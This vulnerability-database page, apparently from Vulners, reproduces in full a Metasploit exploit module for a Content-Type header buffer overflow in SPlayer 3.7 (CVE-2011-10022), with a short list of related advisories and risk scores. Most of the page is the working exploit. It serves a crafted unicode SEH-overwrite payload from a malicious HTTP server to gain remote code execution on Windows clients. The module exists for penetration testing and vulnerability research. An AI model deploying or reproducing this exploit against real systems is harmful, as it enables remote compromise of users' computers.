SPlayer 3.7 Content-Type Buffer Overflow
🗓️ 04 May 2011 00:00:00Reported by xsploitedsec <[email protected]>, sinn3r <[email protected]>Type
metasploit🔗 www.rapid7.com👁 14 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2011-10022 | 20 Aug 202515:41 | – | attackerkb | |
| CVE-2011-10022 | 29 May 201815:50 | – | circl | |
| SPlayer 安全漏洞 | 20 Aug 202500:00 | – | cnnvd | |
| CVE-2011-10022 | 20 Aug 202515:41 | – | cve | |
| CVE-2011-10022 SPlayer 3.7 Content-Type Header Buffer Overflow | 20 Aug 202515:41 | – | cvelist | |
| EUVD-2011-5251 | 7 Oct 202500:30 | – | euvd | |
| CVE-2011-10022 | 20 Aug 202516:15 | – | nvd | |
| PT-2025-34103 · Undefined · Undefined | 20 Aug 202500:00 | – | ptsecurity | |
| CVE-2011-10022 | 22 Aug 202516:35 | – | redhatcve | |
| CVE-2011-10022 SPlayer 3.7 Content-Type Header Buffer Overflow | 20 Aug 202515:41 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(
update_info(
info,
'Name' => "SPlayer 3.7 Content-Type Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability in SPlayer v3.7 or prior. When SPlayer
requests the URL of a media file (video or audio), it is possible to gain arbitrary
remote code execution due to a buffer overflow caused by an exceeding length of data
as the 'Content-Type' parameter.
},
'License' => MSF_LICENSE,
'Author' => [
'xsploitedsec <xsploitedsecurity[at]gmail.com>', # Initial discovery, PoC
'sinn3r', # Metasploit
],
'References' => [
['CVE', '2011-10022'],
['OSVDB', '72181'],
['EDB', '17243'],
],
'Payload' => {
'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f",
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'BufferRegister' => 'ECX',
},
'DefaultOptions' => {
'EXITFUNC' => "seh",
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' => [
[
'Windows XP SP2/XP3',
{
'Offset' => 2073, # Offset to SEH
'Ret' => 0x7325, # Unicode P/P/R (splayer.exe)
'Max' => 30000, # Max buffer size
}
],
],
'Privileged' => false,
'DisclosureDate' => '2011-05-04',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
end
def get_unicode_payload(p)
encoder = framework.encoders.create("x86/unicode_mixed")
encoder.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
unicode_payload = encoder.encode(p, nil, nil, platform)
return unicode_payload
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent !~ /Media Player Classic/
send_not_found(cli)
print_error("Unknown user-agent")
return
end
nop = "\x73"
# MOV EAX,EDI; XOR AL,C3; INC EAX; XOR AL,79; PUSH EAX; POP ECX; JMP SHORT 0x40
alignment = "\x8b\xc7\x34\xc3\x40\x34\x79\x50\x59\xeb\x40"
padding = nop * 6
p = get_unicode_payload(alignment + padding + payload.encoded)
sploit = rand_text_alpha(2073)
sploit << "\x61\x73"
sploit << "\x25\x73"
sploit << nop
sploit << "\x55"
sploit << nop
sploit << "\x58"
sploit << nop
sploit << "\x05\x19\x11"
sploit << nop
sploit << "\x2d\x11\x11"
sploit << nop
sploit << "\x50"
sploit << nop
sploit << "\x50"
sploit << nop
sploit << "\x5f"
sploit << nop
sploit << "\xc3"
sploit << rand_text_alpha(1000)
sploit << p
sploit << rand_text_alpha(target['Max'] - sploit.length)
print_status("Sending malicious content-type")
send_response(cli, '', { 'Content-Type' => sploit })
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 May 2011 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 48.6
EPSS0.00803
SSVC